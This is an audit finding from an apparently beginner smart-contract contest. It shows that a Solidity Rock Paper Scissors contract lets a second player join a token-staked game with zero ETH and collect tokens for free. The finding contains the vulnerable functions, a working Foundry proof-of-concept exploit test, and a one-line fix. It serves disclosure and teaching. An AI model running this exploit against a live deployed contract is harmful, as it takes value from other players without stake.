Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Player B can join a Token game using ETH, resulting in player B able to enter a game with nothing-at-stake, disrupting the game fairness

Summary

After player A creates game with token (RockPaperScissors::createGameWithToken), there are no checks preventing player B from joining using ETH. Since player A's RockPaperScissors::createGameWithToken sets game.bet to 0, player B can join with 0 ETH. Hence, there is nothing at stake for player B. Additionally, player B will receive rewards in many game ending cases (detailed below), hence the fairness of the game is severely disrupted.

Vulnerability Details

  1. Player A creates game with token (RockPaperScissors::createGameWithToken)

  2. This sets the state variable game.bet to 0

  3. Player B joins game using ETH instead of token (RockPaperScissors::joinGameWithEth)

  4. Since RockPaperScissors::joinGameWithEth#L160 requires msg.value == game.bet. Hence, player B joins game using 0 ETH

RockPaperScissors::createGameWithToken

function createGameWithToken(uint256 _totalTurns, uint256 _timeoutInterval) external returns (uint256) {
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
require(_totalTurns > 0, "Must have at least one turn");
require(_totalTurns % 2 == 1, "Total turns must be odd");
require(_timeoutInterval >= 5 minutes, "Timeout must be at least 5 minutes");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
uint256 gameId = gameCounter++;
Game storage game = games[gameId];
game.playerA = msg.sender;
@> game.bet = 0; // Zero ether bet because using token
game.timeoutInterval = _timeoutInterval;
game.creationTime = block.timestamp;
game.joinDeadline = block.timestamp + joinTimeout;
game.totalTurns = _totalTurns;
game.currentTurn = 1;
game.state = GameState.Created;
emit GameCreated(gameId, msg.sender, 0, _totalTurns);
return gameId;
}

RockPaperScissors::joinGameWithEth#L160

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
@> require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

This allows player B to enter a game with nothing-at-stake. In many of the possible game path ending states detailed below, player B still receives winningTokens despite not putting up real value at stake, disrupting the fairness of the game.

Case 1: Player A wins
Player B receives nothing, but no issue for player B since player B did not put up any real value at stake

Case 2: Player B wins
Player B receives 2 winningTokens essentially for free

Case 3: Tie
RockPaperScissors::_handleTie "refunds" player B with 1 winningToken, i.e. player B receives 1 winningToken for free

Case 4: Player A cancels game after player B joins
RockPaperScissors::_cancelGame "refunds" player B with 1 winningToken, i.e. player B receives 1 winningToken for free

PoC

Place the following code in RockPaperScissorsTest.t.sol and run

forge test --mt testNothingAtStake

function testNothingAtStake() public {
uint256 _gameId;
uint256 playerBETHBalanceBefore;
uint256 playerBETHBalanceAfter;
uint256 playerBWinningTokenBalanceBefore;
uint256 playerBWinningTokenBalanceAfter;
// Case 1: Player A wins
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Player A wins
for (uint256 i = 0; i < TOTAL_TURNS; i++){
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Scissors);
}
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// Player B receives nothing, but no issue for player B since player B did not put up any real value at stake
assertEq(playerBWinningTokenBalanceBefore, playerBWinningTokenBalanceAfter);
// Case 2: Player B wins
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Player B wins
for (uint256 i = 0; i < TOTAL_TURNS; i++){
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
}
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// Player B receives 2 WinningTokens essentially for free
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 2);
// Case 3: Tie
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Game Tied
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Scissors);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Rock);
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// `RockPaperScissors::_handleTie` "refunds" player B with 1 winningToken, i.e. player B receives 1 `winningToken` for free
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 1);
// Case 4: Player A cancels game after player B joins
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Player A cancel's game
vm.prank(playerA);
game.cancelGame(_gameId);
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// `RockPaperScissors::_cancelGame` "refunds" player B with 1 winningToken, i.e. player B receives 1 `winningToken` for free
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 1);
}
function playerACreateGame() public returns(uint256){
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
return gameId;
}
function playerBExploit(uint256 _gameId) public {
// Player B enters a Token game with 0 ETH
vm.prank(playerB);
game.joinGameWithEth {value: 0}(_gameId);
}

Impact

Impact: High, the fairness of the game is disrupted as player B receive winningToken in many of the game path ending states despite not putting up real value at stake
Likelihood: High, it costs player B nothing to perform this attack and will still receive winningToken in many cases. Hence, player B has high incentive to execute this attack
Severity: High

Tools Used

Manual Review

Recommendations

Prevent player B from enterring a Token game with ETH

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(game.bet != 0, "This game requires winningToken bet");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

37h3rn17y2 Submitter
about 2 months ago
m3dython Lead Judge
about 2 months ago
37h3rn17y2 Submitter
about 2 months ago
m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.